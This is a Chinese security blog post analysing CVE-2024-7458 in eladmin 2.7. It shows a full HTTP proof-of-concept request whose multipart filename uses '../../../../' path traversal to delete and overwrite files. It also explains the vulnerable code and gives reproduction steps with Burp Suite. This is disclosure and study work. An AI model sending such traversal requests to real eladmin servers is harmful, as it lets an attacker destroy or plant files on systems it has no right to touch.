eladmin (文件上传+文件删除)(cve-2024-7458)

2024-09-06 121 0

侵权声明

本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。

如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [[email protected]]。我们将在确认后的合理时间内采取适当措施,包括删除相关内容。

感谢您的理解与支持

简介

版本

2.7

poc

下面两个接口都可以文件上传和删除并且接口的文件上传和文件删除的poc是一样的,后面分析为什么
/api/database/upload

POST /api/database/upload HTTP/1.1
Host: localhost:8000
Content-Length: 1157
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytxmNwmDQk3BFqZIU
sec-ch-ua-mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiJhMGU1MGZmN2U3YzI0MzRmOTRiYmJmMGFhMDcyMDg2NCIsInVzZXIiOiJhZG1pbiIsInN1YiI6ImFkbWluIn0.91B6e2KdQ9Lyhy_LMsMHf1imNvoYknAJy1Ew3mhgwHBAvLzaW89lRcWCMVCAYlljPjufXeXymhwSrRb9x6-obA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Origin: http://localhost:8013
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8013/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="createBy"

admin
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="createTime"

time
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="id"

71c07316ccc44a948db1d587caa9e805
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="jdbcUrl"

jdbc:mysql://
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="name"

ab
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="pwd"

root
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="updateBy"

admin
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="updateTime"

time
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="userName"

root
------WebKitFormBoundarytxmNwmDQk3BFqZIU
Content-Disposition: form-data; name="file"; filename="../../../../1.txt"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundarytxmNwmDQk3BFqZIU--

这个就不写了
/api/deploy/upload

分析

通过过搜索关键字upload找到接口/api/database/upload的源码
eladmin (文件上传+文件删除)(cve-2024-7458)插图
其中fileName参数是输入进来的文件名,后续和fileSavePath直接进行拼接。
eladmin (文件上传+文件删除)(cve-2024-7458)插图1
其中fileSavePath是系统的临时文件目录
eladmin (文件上传+文件删除)(cve-2024-7458)插图2
往后红框中的两句话及漏洞所在
FileUtil.del(executeFile);删除executeFile文件
file.transferTo(executeFile);上传executeFile文件
所以会先删除和上传文件名相同的文件,然后在创建一个相同的

通过过搜索关键字upload也可以找到接口/api/deploy/upload的源码
该接口漏洞成因也是和上面接口一样,就不做分析了
eladmin (文件上传+文件删除)(cve-2024-7458)插图3

复现

/api/database/upload只复现这个接口的
1、找到漏洞位置,新建一个数据库,数据库随便填,密码和账号要正确。
eladmin (文件上传+文件删除)(cve-2024-7458)插图4
2、选中数据库,点击执行脚本,然后上传图片或其他文件。记得用bp抓包之后好修改,如果发送到重放器token会失效上传不成功。其中表示token的参数是请求行中的Authorization参数。
eladmin (文件上传+文件删除)(cve-2024-7458)插图5
3、修改数据包
eladmin (文件上传+文件删除)(cve-2024-7458)插图6
4、首先看文件删除的效果
eladmin (文件上传+文件删除)(cve-2024-7458)插图7
eladmin (文件上传+文件删除)(cve-2024-7458)插图8
5、之后文件上传的效果
eladmin (文件上传+文件删除)(cve-2024-7458)插图9

/api/deploy/upload第二个接口的上传位置
eladmin (文件上传+文件删除)(cve-2024-7458)插图10

总结

我认为位置还是比较新奇的,不过值得注意的是系统文件模块中的接口文档中有很多接口可以利用。
文件操作函数del()、transferto()

参考

https://github.com/elunez/eladmin/issues/851


免责声明

本博客所提供的技术知识和信息仅旨在教育和分享网络安全最佳实践,促进网络安全意识的提升。作者严禁将这些技术和信息用于任何非法或不道德的目的。

使用本博客内容而导致的任何违法行为或后果,作者不承担任何法律责任。所有读者在使用本博客的信息时,应自行承担风险,并确保遵守当地法律法规。

我们鼓励所有读者合法地使用所提供的信息和技术,致力于维护安全和负责任的网络环境。

感谢您的理解与支持。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

办事处网络安全监控与事件响应;国外员工终端安全性怎么保障 | FB甲方群话题讨论
拿不下总统之位,那就用热加载拿下验证码识别与爆破好了!
Sooty:一款SoC分析一体化与自动化CLI工具
shiro CVE-2016-6802 路径绕过(越权)
Apache Solr 身份验证绕过漏洞(CVE-2024-45216)详解
llama_index的CVE-2024-4181漏洞根因分析

发布评论